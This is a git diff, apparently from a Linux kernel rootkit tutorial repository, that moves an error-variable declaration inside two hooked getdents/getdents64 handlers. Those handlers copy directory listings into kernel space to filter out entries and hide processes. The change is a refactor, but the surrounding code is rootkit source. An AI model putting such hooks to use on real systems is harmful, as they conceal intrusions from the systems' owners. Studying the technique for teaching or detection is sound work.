diff --git a/3_RootkitTechniques/3.5_hiding_processes/rootkit.c b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c index c039bb6..f96066b 100644 --- a/3_RootkitTechniques/3.5_hiding_processes/rootkit.c +++ b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c @@ -42,6 +42,8 @@ struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; // int count = regs->dx; + long error; + /* We will need these intermediate structures for looping through the directory listing */ struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; unsigned long offset = 0; @@ -57,8 +59,7 @@ /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace * dirent_ker is our copy of the returned dirent struct that we can play with */ - long error; - error = copy_from_user(dirent_ker, dirent, ret); + error = copy_from_user(dirent_ker, dirent, ret); if (error) goto done; @@ -127,6 +128,8 @@ struct linux_dirent *dirent = (struct linux_dirent *)regs->si; // int count = regs->dx; + long error; + /* We will need these intermediate structures for looping through the directory listing */ struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL; unsigned long offset = 0; @@ -142,8 +145,7 @@ /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace * dirent_ker is our copy of the returned dirent struct that we can play with */ - long error; - error = copy_from_user(dirent_ker, dirent, ret); + error = copy_from_user(dirent_ker, dirent, ret); if (error) goto done;